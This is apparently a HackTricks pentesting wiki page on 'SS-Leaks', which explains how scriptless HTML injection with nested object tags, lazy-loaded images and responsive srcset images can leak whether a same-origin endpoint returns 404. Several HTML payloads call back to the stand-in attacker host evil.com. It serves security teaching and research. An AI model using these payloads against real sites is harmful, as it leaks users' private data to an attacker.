hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md

94 lines
5.7 KiB
Markdown
Raw Normal View History

# SS-Leaks
<details>
2024-01-01 17:15:42 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-01-01 17:15:42 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2024-01-01 17:15:42 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
This is a **mix** between **dangling markup and XS-Leaks**. From one side the vulnerability allows to **inject HTML** (but not JS) in a page of the **same origin** of the one we will be attacking. On the other side we won't **attack** directly the page where we can inject HTML, but **another page**.
## Nested Objects
If the <mark style="color:yellow;">`/api/v1/leaky?secret=a`</mark> endpoint returns a 404 status code, then the inner `object` is loaded, giving a callback to <mark style="color:yellow;">`https://evil.com?callback=a`</mark> and letting us know that the search query `a` yielded no results.
```html
<object data="/api/v1/leaky?secret=a">
<object data="https://evil.com?callback=a"></object>
</object>
```
### Lazy Loading
What if CSP blocks external objects? Let's try again with the following CSP:
<mark style="color:yellow;">`Content-Security-Policy: default-src 'self'; img-src *;`</mark>
Our callback `object` from above no longer works. In its place, we can use image [lazy loading](https://developer.mozilla.org/en-US/docs/Web/Performance/Lazy\_loading)! The following image will only load when it is visible and within a certain distance from the viewport.
```html
<object data="/api/v1/leaky?secret=a">
<img src="https://evil.com?callback" loading="lazy">
</object>
```
### Responsive Images
The above technique is great, but it relies on our HTML injection being within the user's viewport.
If the injection is off-screen and the user doesn't scroll, can we still leak data? Of course, we can use element IDs and [scroll-to-text-fragment](https://chromestatus.com/feature/4733392803332096) to create a URL that forces a scroll, but these rely on user interaction and don't allow us to achieve consistent leaks in a real-world scenario. Ideally, we want to weaponise stored HTML injection in a reliable manner.
Enter responsive images! Specifically, the `srcset` and `sizes` attributes of images.
{% code overflow="wrap" %}
```html
<object data="/api/v1/leaky?secret=a">
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>
```
{% endcode %}
There's quite a few things to unpack here. First, remember that the inner iframe will only be visible if the leaky endpoint returns a 404 status code.
This is important because we are now going to conditionally load the image within the iframe from two different URLs. Using the `sizes` attribute, we can use [media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS\_media\_queries/Using\_media\_queries) to choose which URL to load the image from, depending on the viewport size.
{% code overflow="wrap" %}
```html
<img
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>
```
{% endcode %}
Because our iframe has `width="1000px"`, the following happens:
1. If the leaky endpoint returns a 404 status code, the iframe is displayed and has a width of 1000px. The image within the iframe matches the `(min-width: 1000px)` media query and loads the 800px image from `https://evil.com?callback=0`.
2. If the leaky endpoint returns a 200 status code, the iframe is _not_ displayed. Since the image is not being rendered as part of a large iframe, it matches the `(max-width 999px)` media query and loads the 480px image from `https://evil.com?callback=1`.
## References
* [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)
<details>
2024-01-01 17:15:42 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-01-01 17:15:42 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2024-01-01 17:15:42 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>